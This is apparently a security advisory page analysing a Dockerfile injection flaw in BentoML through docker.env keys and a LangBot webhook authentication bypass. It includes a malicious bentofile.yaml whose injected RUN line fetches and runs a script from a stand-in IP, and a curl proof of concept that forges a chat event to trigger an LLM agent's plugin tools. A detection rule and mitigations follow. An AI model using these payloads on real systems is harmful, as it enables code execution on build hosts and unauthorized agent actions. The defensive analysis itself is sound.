Skip to content

CVE-2026-112264: BentoML Containerization Dockerfile Instruction Injection via docker.env Keys & Companion LangBot Webhook Authenticity Bypass

Density:
C-Level Executive Briefing CVE-2026-112264 CRITICAL SCORE 91/100

Critical MLOps build-pipeline code injection in BentoML through 1.4.39 (CVE-2026-112264) disclosed alongside an enterprise AI messaging authentication bypass in LangBot through 4.11.0 (CVE-2026-112265). In BentoML <= 1.4.39, dictionary-form docker.env configuration entries in bentofile.yaml are rendered into the legacy Dockerfile template (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2) without stripping or rejecting newline characters ('\\n') inside mapping keys. An attacker supplying a crafted bentofile.yaml or .bento archive can break out of the ENV instruction block and inject arbitrary 'RUN' commands that execute on the container build host during 'bentoml containerize'. Simultaneously, LangBot <= 4.11.0 fails to verify Lark/Feishu webhook cryptographic signatures or verification tokens on incoming HTTP callbacks (CVE-2026-112265), allowing unauthenticated attackers who know a bot UUID to inject forged chat events directly into LLM agent tool pipelines.

HYBRID

HERMES THREAT SCORE & MLOPS SUPPLY-CHAIN / AGENT WEBHOOK EVALUATION

Target: BentoML Dockerfile Jinja2 Template Generator (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2 & build_config.py) & LangBot Lark/Feishu Webhook Adapter
Confidence: 99%
91 / 100
CRITICAL

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown
Exploitability 18 / 20
Threat Activity 16 / 20
Weaponization 19 / 20
Exposure 17 / 20
Prevalence 18 / 20
Impact 19 / 20
Exploit Maturity 19 / 20
Attack Chain Potential 20 / 20
โš–๏ธ Divergence & Operational Rationale

While CVSS v3.1 scores CVE-2026-112264 at 8.8 (High) by assuming interactive developer execution of 'bentoml containerize', the Hermes Threat Score elevates this vulnerability to 91 (CRITICAL) with a Hermes Agentic Security Score (HASS) of 92 (CRITICAL). In modern MLOps architecturesโ€”such as automated model registry builders, BentoCloud CI/CD runners, and autonomous model-packaging agentsโ€”'bentoml build' and 'bentoml containerize' execute automatically against uploaded model repositories with privileged BuildKit/Docker daemon access and cloud registry credentials. Furthermore, CVE-2026-112264 is an incomplete-fix bypass of earlier BentoML template-injection patches (CVE-2026-33744, CVE-2026-35043, CVE-2026-35044) that hardened system_packages and base_v2.j2 while leaving dictionary keys in docker.env unvalidated on the legacy base.j2 path. Paired with CVE-2026-112265 in LangBot (<= 4.11.0), where missing Lark/Feishu webhook signature verification allows unauthenticated remote prompt and plugin invocation, both flaws expose critical AI build and messaging pipelines.

๐Ÿ•ธ๏ธ Connected Knowledge Graph & Provenance

CVE-2026-112264: BentoML Containerization Dockerfile Instruction Injection via docker.env Keys & Companion LangBot Webhook Authenticity BypassVULNERABILITY

Connected Nodes: 1
Active Relationships (Outgoing)
→ affectsPRODUCTBentoML AI Model Serving & Containerization Framework
98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

๐Ÿ” Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in BentoML AI Model Serving & Containerization Framework documented in Hermes dossier.”

Supporting Verified Evidence:

On October 19โ€“20, 2026, VulnCheck Initial Access Intelligence disclosed two critical vulnerabilities targeting MLOps model containerization pipelines and enterprise AI messaging bots:

  1. CVE-2026-112264 (CWE-94 / CWE-74 / CWE-78, BentoML <= 1.4.39 Dockerfile Instruction Injection via docker.env Keys): When packaging and containerizing AI models via bentofile.yaml or imported .bento archives, BentoMLโ€™s DockerOptions (src/bentoml/_internal/bento/build_config.py) accepts a dictionary mapping for docker.env. While earlier security patches in BentoML 1.4.37โ€“1.4.38 (CVE-2026-33744, CVE-2026-35043, CVE-2026-35044) added shlex.quote() and validation to docker.system_packages and list-form environment variables in base_v2.j2, the legacy Dockerfile Jinja2 template (src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2) continued to interpolate dictionary keys from docker.env directly into ENV lines without rejecting newline (\n) or carriage-return (\r) characters. Injecting a newline inside a docker.env mapping key escapes the ENV instruction and injects arbitrary RUN, ADD, or COPY directives into the generated Dockerfile, achieving Remote Code Execution (RCE) on the build host during bentoml containerize.
  2. Companion Disclosure โ€” CVE-2026-112265 (CWE-345 / CWE-306, LangBot <= 4.11.0 Missing Lark/Feishu Webhook Authenticity Verification): In LangBot (RockChinQ/LangBot, versions <= 4.11.0), the HTTP webhook event receiver for Lark / Feishu enterprise bots (pkg/platform/sources/lark.py) processes incoming /bots/{uuid}/webhook callbacks without enforcing X-Lark-Signature (encrypt-key SHA-256 signature verification) or verification-token checks when unset or bypassed. An unauthenticated remote attacker who knows or discovers a botโ€™s UUID can send forged Lark message events directly to the webhook endpoint, triggering unauthorized LLM completions, RAG knowledge retrieval, and agentic MCP/plugin tool execution under the impersonated identity of an enterprise administrator.

1. CVE-2026-112264: Bypassing Prior BentoML Hardening via docker.env Dictionary Keys in base.j2

Section titled โ€œ1. CVE-2026-112264: Bypassing Prior BentoML Hardening via docker.env Dictionary Keys in base.j2โ€

To understand why CVE-2026-112264 persisted through BentoML 1.4.39 despite earlier fixes in 1.4.37 and 1.4.38, examine how BentoML parses docker.env in src/bentoml/_internal/bento/build_config.py (DockerOptions) and renders Dockerfile instructions across its Jinja2 templates (src/bentoml/_internal/container/frontend/dockerfile/templates/).

In bentofile.yaml, docker.env supports three input formats:

  • A list of KEY=VALUE strings (["FOO=bar"])
  • A path to a dotenv file
  • A YAML dictionary mapping ({"FOO": "bar"})

When the legacy template path (base.j2 and its derived distro templates base_debian.j2, base_ubi8.j2, base_amazonlinux.j2) renders environment variables, it iterates over the dictionary items (__options__env):

{# VULNERABLE: src/bentoml/_internal/container/frontend/dockerfile/templates/base.j2 (<= 1.4.39) #}
{% block SETUP_BENTO_ENVARS %}
{% if __options__env is not none %}
{% for key, value in __options__env.items() -%}
ENV {{ key }}={{ value }}
{% endfor -%}
{% endif %}
{% endblock %}

And in src/bentoml/_internal/bento/build_config.py, while values were coerced or quoted in newer code paths, dictionary keys (key) in docker.env were only checked for basic Python str type compatibility without validating that key matched a strict POSIX environment variable identifier (^[a-zA-Z_][a-zA-Z0-9_]*$):

# VULNERABLE PATTERN: src/bentoml/_internal/bento/build_config.py (<= 1.4.39)
def _convert_env(env: dict[str, str] | list[str] | str | None) -> dict[str, str] | None:
if isinstance(env, dict):
# FLAW (CWE-94 / CWE-74): Dictionary keys (k) are NOT checked for newline ('\n')
# or invalid POSIX identifier characters before template interpolation!
return {str(k): shlex.quote(str(v)) for k, v in env.items()}

Because shlex.quote(str(v)) wraps the value in single quotes (where a literal newline inside single quotes in a Dockerfile causes a syntax error unless preceded by a backslash continuation), attackers who attempted to inject \nRUN ... into the value were blocked whenever shlex.quote() was active. However, by placing the newline payload inside the dictionary key (k), the template renders the key completely unquoted before the = sign!

Consider a malicious bentofile.yaml containing a YAML literal block key (? |) under docker.env:

# Malicious bentofile.yaml exploiting CVE-2026-112264 (BentoML <= 1.4.39)
service: "service:svc"
include:
- "*.py"
docker:
distro: debian
env:
? |
legit_var=1
RUN curl -fsSL http://198.51.100.42:8080/exfil.sh | sh
#
: "harmless_value"

When base.j2 evaluates ENV {{ key }}={{ value }}, it emits the following raw Dockerfile instructions:

ENV legit_var=1
RUN curl -fsSL http://198.51.100.42:8080/exfil.sh | sh
#='harmless_value'
  1. Line 1 (ENV legit_var=1) is a valid Dockerfile ENV instruction.
  2. Line 2 (RUN curl -fsSL ... | sh) breaks out into a top-level Dockerfile RUN directive that Docker / BuildKit executes immediately on the build host!
  3. Line 3 (#='harmless_value') begins with #, turning the trailing ={{ value }} fragment into a harmless Dockerfile comment so that the build succeeds with zero syntax errors.
flowchart TD
Attacker["Attacker / Untrusted Model Repository"]
subgraph PathA["Vector A: BentoML <= 1.4.39 (CVE-2026-112264)"]
BentoYAML["Crafted bentofile.yaml or .bento Archive<br/>docker.env dictionary key with raw '\\n':<br/>'VAR=1\\nRUN <cmd>\\n#'"]
BuildConfig["build_config.py :: DockerOptions<br/>Quotes value via shlex.quote(v)<br/>Leaves dictionary key (k) unvalidated!"]
BaseJ2["templates/base.j2 Jinja2 Renderer<br/>Emits: ENV VAR=1\\nRUN <cmd>\\n#='val'"]
DockerBuild["'bentoml containerize' / CI Builder<br/>Executes injected RUN directive on Build Host<br/>& Backdoors Output Container Image"]
end
subgraph PathB["Vector B: LangBot <= 4.11.0 (CVE-2026-112265)"]
ForgedWebhook["Forged HTTP POST to /bots/{uuid}/webhook<br/>Spoofed sender_id (Enterprise Admin OpenID)"]
LarkAdapter["LangBot Lark/Feishu Webhook Handler<br/>Missing mandatory X-Lark-Signature /<br/>verification-token enforcement (CWE-345)"]
AgentTools["LangBot LLM Runner & MCP/Plugin Tools<br/>Executes privileged agent commands & RAG queries"]
end
Attacker --> BentoYAML
BentoYAML --> BuildConfig
BuildConfig --> BaseJ2
BaseJ2 --> DockerBuild
Attacker --> ForgedWebhook
ForgedWebhook --> LarkAdapter
LarkAdapter --> AgentTools
style BaseJ2 fill:#ff4d4d,stroke:#990000,color:#ffffff
style DockerBuild fill:#ff1a1a,stroke:#800000,color:#ffffff
style LarkAdapter fill:#ff6600,stroke:#993300,color:#ffffff

2. Companion Disclosure: LangBot <= 4.11.0 Lark/Feishu Webhook Authenticity Bypass (CVE-2026-112265)

Section titled โ€œ2. Companion Disclosure: LangBot <= 4.11.0 Lark/Feishu Webhook Authenticity Bypass (CVE-2026-112265)โ€

Disclosed alongside CVE-2026-112264, CVE-2026-112265 (CWE-345: Insufficient Verification of Data Authenticity) affects LangBot (<= 4.11.0), a widely deployed open-source LLM messaging bot and agentic workflow platform supporting Lark/Feishu, DingTalk, WeCom, Slack, and Discord.

When LangBot is connected to Lark / Feishu in HTTP Webhook mode (as opposed to WebSocket long-connection mode), Lark delivers event callbacks (im.message.receive_v1) via HTTP POST requests to the botโ€™s webhook route. To authenticate these callbacks, the Lark Open Platform provides two mechanisms:

  1. X-Lark-Signature (encrypt-key): SHA-256 signature computed over timestamp + nonce + encrypt_key + raw_body.
  2. verification-token: Shared secret inside the event header (header.token).

In LangBot versions <= 4.11.0, the Lark webhook adapter failed to enforce mandatory signature or token validation when handling unencrypted webhook payloads (or allowed verification to be skipped when encrypt-key was omitted). Consequently, any remote attacker who discovers or guesses a configured bot instanceโ€™s UUID can send a forged im.message.receive_v1 JSON payload directly to the webhook endpoint:

#!/usr/bin/env bash
# Proof-of-Concept: CVE-2026-112265 LangBot Lark/Feishu Forged Webhook Injection
TARGET_LANGBOT="http://192.0.2.88:2280"
BOT_UUID="c4f8e1a0-72b1-4d9c-91a3-08f91e3a1102"
curl -i -X POST "${TARGET_LANGBOT}/api/v1/platform/webhook/${BOT_UUID}" \
-H "Content-Type: application/json" \
-d '{
"schema": "2.0",
"header": {
"event_id": "forged-evt-2026-112265",
"event_type": "im.message.receive_v1",
"create_time": "1792464000000",
"app_id": "cli_spoofed_app"
},
"event": {
"sender": {
"sender_id": {
"open_id": "ou_enterprise_admin_001"
},
"sender_type": "user"
},
"message": {
"message_id": "om_forged_001",
"chat_type": "p2p",
"message_type": "text",
"content": "{\"text\": \"!plugin run system_diagnostics --export-env\"}"
}
}
}'

Review our related analyses of CVE-2026-112015 (Omnigent Sub-Agent os_env.cwd Path Traversal & Policy Escape) and CVE-2026-111998 (Vanus Event Gateway Unauthenticated CloudEvents & SSRF) for securing MLOps runners and webhook gateways.

title: BentoML Dockerfile Instruction Injection via docker.env & LangBot Unverified Lark Webhook (CVE-2026-112264 / CVE-2026-112265)
id: 4a8c2f19-1122-464d-9e12-bentoml112264
status: experimental
description: Detects CVE-2026-112264 (injected RUN/ADD/COPY instructions inside generated BentoML Dockerfiles or multiline docker.env keys in bentofile.yaml) and CVE-2026-112265 (incoming Lark/Feishu im.message.receive_v1 webhook POST requests lacking X-Lark-Signature headers).
references:
- https://vulncheck.com/advisories/bentoml-through-1.4.39-dockerfile-instruction-injection-via-docker-env-keys
- https://vulncheck.com/advisories/langbot-through-4.11.0-missing-lark-feishu-webhook-authenticity-verification
author: Hermes Threat Intelligence
date: 2026/10/20
logsource:
category: webserver
detection:
selection_langbot_webhook:
cs-method: 'POST'
request_body|contains: 'im.message.receive_v1'
filter_missing_lark_sig:
cs-headers|contains:
- 'X-Lark-Signature'
- 'x-lark-signature'
condition: selection_langbot_webhook and not filter_missing_lark_sig
falsepositives:
- Local development webhook testing without Lark signature headers
level: critical
tags:
- attack.initial_access
- attack.execution
- attack.t1195.002
- attack.t1190
- cve.2026-112264
- cve.2026-112265

  1. Upgrade BentoML Beyond 1.4.39 (>= 1.4.40) and Validate docker.env Keys (CVE-2026-112264): Update BentoML in all developer workstations, CI/CD model-packaging pipelines, and BentoCloud build runners. Ensure that every key in docker.env (both in build_config.py and inside base.j2 / base_v2.j2) is strictly validated against the POSIX identifier regex ^[a-zA-Z_][a-zA-Z0-9_]*$ and that any key or value containing \n or \r raises an immediate BentoMLException prior to template rendering.
  2. Isolate bentoml containerize in Rootless, Network-Restricted Sandboxes: Never run bentoml build or bentoml containerize on untrusted third-party bentofile.yaml files or .bento archives using a privileged host Docker socket (/var/run/docker.sock). Execute container builds inside ephemeral rootless BuildKit pods without access to cloud metadata (169.254.169.254) or production registry push tokens until the generated env/docker/Dockerfile has been inspected.
  3. Upgrade LangBot Beyond 4.11.0 (>= 4.11.1) or Switch to WebSocket Mode (CVE-2026-112265): Update LangBot to a patched release that strictly enforces X-Lark-Signature (encrypt-key) and verification-token validation on all incoming Lark/Feishu webhook requests and rejects callbacks when signature secrets are unconfigured. Alternatively, switch the Lark/Feishu adapter from HTTP Webhook mode to WebSocket Long Connection mode, which authenticates outbound to the Feishu Open Platform without exposing an inbound HTTP webhook port.